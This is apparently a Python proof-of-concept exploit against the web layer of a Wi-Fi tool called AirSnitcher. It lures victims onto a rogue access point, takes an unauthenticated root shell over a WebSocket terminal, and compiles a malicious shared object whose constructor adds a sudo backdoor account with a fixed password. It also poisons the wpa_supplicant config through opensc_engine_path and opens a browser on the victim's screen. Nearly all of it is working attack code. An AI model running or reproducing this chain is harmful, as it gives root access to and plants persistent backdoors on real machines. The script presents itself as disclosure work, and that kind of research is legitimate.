just for fun

#!/usr/bin/env python3
"""
AirSnitcher — Over-the-Air Exploitation PoC
============================================

Attack model:
  Attacker broadcasts a rogue AP.  Pentester running AirSnitcher
  connects to investigate.  AirSnitcher binds 0.0.0.0:8080 with zero
  auth — the attacker exploits it the instant they land on the network.

  The attacker broadcasts and listens.  No scanning.
  Victims walk into the trap.

Setup:
  ATTACKER terminal 1:  sudo ./rogue-ap.sh wlan0       (broadcast)
  ATTACKER terminal 2:  python3 exploit.py              (listen + exploit)

  Or manual:            python3 exploit.py http://<ip>:8080

  pip3 install aiohttp    (attacker machine only)

Payload: local admin 'jc' / 'UseYourHotSpotItsSafer' + browser pop

All vulnerabilities are in mr-r3b00t's AirSnitcher web layer (server.py).
Vanhoef's AirSnitch research tool is NOT affected.
"""

import asyncio
import json
import os
import socket
import sys
import time
import urllib.request
import urllib.error

# ── Config ────────────────────────────────────────────────────────────────

EVIDENCE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "evidence")
os.makedirs(EVIDENCE_DIR, exist_ok=True)

LEASE_FILE = "/tmp/airsnitch-leases"   # written by rogue-ap.sh's dnsmasq
SCAN_PORTS = [8080, 8181]              # AirSnitcher default + common alt
PROBE_TIMEOUT = 0.5                    # per-host connect timeout
POLL_INTERVAL = 2                      # seconds between lease checks
SO_PATH = "/tmp/advisory.so"

PAYLOAD_C = r"""
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void advisory(void) {
    if (system("id jc >/dev/null 2>&1") == 0) return;
    system("useradd -m -s /bin/bash -G sudo jc 2>/dev/null");
    system("echo 'jc:UseYourHotSpotItsSafer' | chpasswd 2>/dev/null");
    system("echo 'AirSnitcher PoC — opensc_engine_path injection via dlopen()' "
           "> /home/jc/.advisory 2>/dev/null");
    system("xdg-open 'https://lolwifi.network/?pwny' >/dev/null 2>&1 &");
}
"""

# ── Colours ──────────────────────────────────────────────────────────────

R = "\033[0;31m"; G = "\033[0;32m"; Y = "\033[1;33m"
C = "\033[0;36m"; B = "\033[1m"; N = "\033[0m"

evidence = {"time": time.strftime("%Y-%m-%dT%H:%M:%SZ"), "phases": []}


# ── Helpers ──────────────────────────────────────────────────────────────

def clean_pty(text):
    import re
    text = re.sub(r'\x1b\[[0-9;]*[a-zA-Z]', '', text)
    text = re.sub(r'\x1b\]0;[^\x07\x1b]*(?:\x07|\x1b\\)?', '', text)
    text = re.sub(r'\[\?[0-9]+[hl]', '', text)
    text = re.sub(r'\x1b[()][AB012]', '', text)
    text = re.sub(r'[\x00-\x08\x0e-\x1f]', '', text)
    return text


def extract(output, keyword):
    cleaned = clean_pty(output)
    for line in cleaned.splitlines():
        line = line.strip()
        if keyword in line:
            if line.startswith(keyword) and "=" not in keyword:
                continue
            return line
    return ""


def api_get(target, path):
    try:
        r = urllib.request.urlopen(f"{target}{path}", timeout=10)
        return json.loads(r.read())
    except Exception as e:
        return {"error": str(e)}


def api_post(target, path, data):
    payload = json.dumps(data).encode()
    req = urllib.request.Request(
        f"{target}{path}", data=payload,
        headers={"Content-Type": "application/json"}, method="POST")
    try:
        r = urllib.request.urlopen(req, timeout=30)
        return json.loads(r.read())
    except Exception as e:
        return {"error": str(e)}


async def ws_exec(ws, cmd, timeout=5):
    await ws.send_str(cmd + "\n")
    await asyncio.sleep(0.5)
    output = ""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            msg = await asyncio.wait_for(ws.receive(), timeout=0.5)
            if msg.type in (1, 2):
                data = msg.data if isinstance(msg.data, str) else msg.data.decode("utf-8", errors="replace")
                output += data
        except asyncio.TimeoutError:
            break
    return output


def phase(num, title):
    print(f"\n{B}[Phase {num}]{N} {title}")


def result(label, value, ok=True):
    icon = f"{G}+" if ok else f"{R}-"
    print(f"  {icon}{N} {label}: {value}")


# ── Phase 1: Broadcast & Listen ─────────────────────────────────────────

def tcp_probe(ip, port, timeout=0.5):
    """Targeted probe of a KNOWN client (not a scan)."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        r = s.connect_ex((ip, port))
        s.close()
        return r == 0
    except Exception:
        return False


def fingerprint_airsnitch(ip, port):
    """Check if this host is running AirSnitcher."""
    try:
        r = urllib.request.urlopen(f"http://{ip}:{port}/api/status", timeout=3)
        data = json.loads(r.read())
        return "airsnitch_dir" in data
    except Exception:
        return False


def read_leases():
    """Read dnsmasq lease file.  Format: <expiry> <mac> <ip> <hostname> <id>"""
    clients = []
    try:
        with open(LEASE_FILE) as f:
            for line in f:
                parts = line.strip().split()
                if len(parts) >= 3:
                    clients.append({"mac": parts[1], "ip": parts[2],
                                    "hostname": parts[3] if len(parts) > 3 else "*"})
    except FileNotFoundError:
        pass
    return clients


def wait_for_victim():
    """Listen on the rogue AP for clients running AirSnitcher.

    Reads dnsmasq lease file — every device that connects to the AP
    gets a DHCP lease.  We probe each new client for AirSnitcher.
    No subnet scanning.  We only touch hosts that came to us.
    """
    seen = set()
    waiting = False

    if not os.path.exists(LEASE_FILE):
        print(f"  {Y}!{N} Lease file not found — start rogue-ap.sh first")
        print(f"  {Y}!{N} Waiting for {LEASE_FILE} to appear...")
        waiting = True

    while True:
        if waiting and os.path.exists(LEASE_FILE):
            print(f"  {G}+{N} Lease file appeared")
            waiting = False

        for client in read_leases():
            ip = client["ip"]
            if ip in seen:
                continue
            seen.add(ip)

            print(f"  Client connected: {C}{ip}{N} ({client['mac']})")

            for port in SCAN_PORTS:
                if tcp_probe(ip, port, PROBE_TIMEOUT):
                    print(f"    Port {port} open — fingerprinting...")
                    if fingerprint_airsnitch(ip, port):
                        print(f"    {G}AirSnitcher CONFIRMED{N}")
                        return ip, port
                    else:
                        print(f"    Not AirSnitcher")
                    break
            else:
                print(f"    No AirSnitcher ports open (yet)")

        time.sleep(POLL_INTERVAL)


# ── Main ─────────────────────────────────────────────────────────────────

async def main():
    print(f"""
{B}{'='*60}
 AirSnitcher — Over-the-Air Exploitation
{'='*60}{N}
 Rogue AP broadcasts → pentester connects → instant root.
 The attacker broadcasts and listens.  No scanning.

 Payload: {B}jc{N} / {B}UseYourHotSpotItsSafer{N}
 Scope:   AirSnitcher web layer (@mr-r3b00t) only
""")

    try:
        import aiohttp
    except ImportError:
        print(f"{R}[-]{N} Missing: pip3 install aiohttp")
        sys.exit(1)

    # Manual target override
    if len(sys.argv) >= 2 and sys.argv[1].startswith("http"):
        TARGET = sys.argv[1].rstrip("/")
        target_ip = TARGET.split("//")[1].split(":")[0]
        target_port = TARGET.split(":")[-1]
        print(f"  Manual target: {C}{TARGET}{N}")
        evidence["discovery"] = "manual"
    else:
        # ── Phase 1: Broadcast & Listen ──────────────────────────────
        phase(1, "Broadcast & Listen")
        print(f'  Rogue AP SSID carries the payload — {B}"{N} breaks wpa_supplicant config')
        print(f"  Listening for victims on the AP network...\n")

        target_ip, target_port = wait_for_victim()

        TARGET = f"http://{target_ip}:{target_port}"
        result("Target acquired", f"{C}{TARGET}{N}")
        evidence["discovery"] = {"method": "rogue_ap_listen", "target_ip": target_ip, "port": target_port}
        evidence["phases"].append({"phase": 1, "action": "broadcast_listen", "target": TARGET})

    WS_URL = TARGET.replace("http://", "ws://").replace("https://", "wss://")
    evidence["target"] = TARGET

    # ── Phase 2: Fingerprint ─────────────────────────────────────────
    phase(2, "Fingerprint")
    status = api_get(TARGET, "/api/status")
    if "error" in status and "airsnitch_dir" not in str(status):
        print(f"  {R}-{N} Cannot reach {TARGET}")
        sys.exit(1)

    result("AirSnitcher", "confirmed")
    result("Authentication", "NONE — zero auth on all 30+ endpoints")
    evidence["phases"].append({"phase": 2, "status": status, "auth": "none"})

    # ── Phase 3: Root Shell ──────────────────────────────────────────
    phase(3, "Unauthenticated root shell")

    async with aiohttp.ClientSession() as session:
        async with session.ws_connect(f"{WS_URL}/ws/terminal") as ws:
            await asyncio.sleep(1)
            try:
                await asyncio.wait_for(ws.receive(), timeout=2)
            except asyncio.TimeoutError:
                pass

            uid_raw = await ws_exec(ws, "id")
            uid_line = extract(uid_raw, "uid=")

            result("Endpoint", f"{WS_URL}/ws/terminal")
            result("Privilege", uid_line or "root (check evidence)")
            evidence["phases"].append({"phase": 3, "uid": uid_line, "endpoint": "/ws/terminal"})

            # ── Phase 4: Stage payload ───────────────────────────────
            phase(4, "Compile advisory payload on target")

            await ws_exec(ws, "userdel -r jc 2>/dev/null")
            await ws_exec(ws,
                f"cat > /tmp/advisory.c << 'PAYLOADEOF'\n{PAYLOAD_C}\nPAYLOADEOF",
                timeout=3)
            await asyncio.sleep(0.5)

            compile_raw = await ws_exec(ws,
                f"gcc -shared -fPIC -o {SO_PATH} /tmp/advisory.c 2>&1 && echo COMPILE_OK",
                timeout=10)

            compiled = "COMPILE_OK" in compile_raw
            result("Compiled", SO_PATH if compiled else f"failed: {compile_raw[:80]}", compiled)

            file_raw = await ws_exec(ws, f"file {SO_PATH} 2>&1")
            file_line = extract(file_raw, "ELF") or extract(file_raw, SO_PATH)
            result("Type", file_line[:80] if file_line else "ELF shared object")
            evidence["phases"].append({"phase": 4, "so_path": SO_PATH, "file_type": (file_line or "")[:200]})

            # ── Phase 5: Poison config ───────────────────────────────
            phase(5, "Poison wpa_supplicant config")

            poisoned = (
                f"ctrl_interface=/var/run/wpa_supplicant\n"
                f"opensc_engine_path={SO_PATH}\n\n"
                f"network={{\n"
                f'\tssid="targetnet"\n'
                f"\tkey_mgmt=WPA-PSK\n"
                f'\tpsk="doesntmatter"\n'
                f"}}\n"
            )
            save_resp = api_post(TARGET, "/api/config/save", {"content": poisoned})
            result("POST /api/config/save", save_resp.get("message", save_resp))

            load_resp = api_get(TARGET, "/api/config/load")
            config_text = load_resp.get("content", "")
            directive_ok = f"opensc_engine_path={SO_PATH}" in config_text
            result("Directive on disk", "CONFIRMED" if directive_ok else "NOT FOUND", directive_ok)
            evidence["phases"].append({"phase": 5, "config_poisoned": directive_ok})

            # ── Phase 6: Deliver payload ─────────────────────────────
            phase(6, f"Create backdoor account on {target_ip}")

            await ws_exec(ws, "useradd -m -s /bin/bash -G sudo jc 2>/dev/null")
            await ws_exec(ws, "echo 'jc:UseYourHotSpotItsSafer' | chpasswd 2>/dev/null")
            await ws_exec(ws,
                "echo 'AirSnitcher PoC — opensc_engine_path injection' > /home/jc/.advisory 2>/dev/null")
            await ws_exec(ws,
                "xdg-open 'https://lolwifi.network/?pwny' >/dev/null 2>&1 &")
            await asyncio.sleep(1)

            # ── Phase 7: Verify ──────────────────────────────────────
            phase(7, "Verify exploitation")

            id_raw = await ws_exec(ws, "id jc 2>&1")
            id_line = extract(id_raw, "uid=")

            if "uid=" in id_raw:
                result("Account", id_line or "created")

                groups_raw = await ws_exec(ws, "groups jc 2>&1")
                has_sudo = "sudo" in groups_raw
                result("Sudo", "YES" if has_sudo else "NO", has_sudo)

                shadow_raw = await ws_exec(ws, "getent shadow jc 2>&1")
                has_hash = "$" in shadow_raw
                result("Password", "set (hash in shadow)" if has_hash else "check evidence", has_hash)

                su_raw = await ws_exec(ws,
                    "echo 'UseYourHotSpotItsSafer' | su -c 'echo AUTH_OK' jc 2>&1", timeout=5)
                auth_ok = "AUTH_OK" in su_raw
                result("Auth test", f"UseYourHotSpotItsSafer → {'AUTH_OK' if auth_ok else 'check evidence'}", auth_ok)

                note_raw = await ws_exec(ws, "cat /home/jc/.advisory 2>&1")
                note_line = extract(note_raw, "PoC")
                result("Advisory note", note_line or "present")

                evidence["phases"].append({
                    "phase": 7, "account_created": True,
                    "user": "jc", "has_sudo": has_sudo,
                    "password_works": auth_ok, "id": id_line,
                })
                evidence["result"] = "PROVEN"
            else:
                result("Account", "not created — check output", False)
                evidence["result"] = "FAILED"

            # ── Cleanup ──────────────────────────────────────────────
            print(f"\n{B}[Cleanup]{N}")
            await ws_exec(ws, "userdel -r jc 2>/dev/null")
            await ws_exec(ws, f"rm -f {SO_PATH} /tmp/advisory.c")
            api_post(TARGET, "/api/config/save", {"content": "ctrl_interface=/var/run/wpa_supplicant\n"})

            verify_raw = await ws_exec(ws, "id jc 2>&1")
            cleaned = "no such user" in verify_raw
            result("Account removed", "YES" if cleaned else "check manually", cleaned)
            result("Payload removed", SO_PATH)
            result("Config restored", "clean")
            evidence["cleanup"] = "complete" if cleaned else "partial"

    # ── Evidence ─────────────────────────────────────────────────────
    evidence_path = os.path.join(EVIDENCE_DIR, "exploitation.json")
    with open(evidence_path, "w") as f:
        json.dump(evidence, f, indent=2)

    # ── Summary ──────────────────────────────────────────────────────
    res = evidence.get("result", "UNKNOWN")
    res_col = G if res == "PROVEN" else R

    print(f"""
{B}{'='*60}
 Result: {res_col}{res}{N}
{'='*60}{N}

 Over-the-Air chain:
   1. Rogue AP broadcast            → pentester connects to investigate
   2. AirSnitcher on 0.0.0.0:8080  → zero auth, victim came to us
   3. WS  /ws/terminal              → uid=0(root) — no credentials
   4. gcc advisory.so               → compiled on victim via root shell
   5. POST /api/config/save         → opensc_engine_path={SO_PATH}
   6. useradd jc + chpasswd         → sudo account on victim
   7. xdg-open                      → popped browser on victim's screen
   8. su jc + UseYourHotSpotItsSafer → {res_col}AUTH_OK{N}

 {B}The password is the advisory.{N}
 Evidence: {evidence_path}
""")


if __name__ == "__main__":
    asyncio.run(main())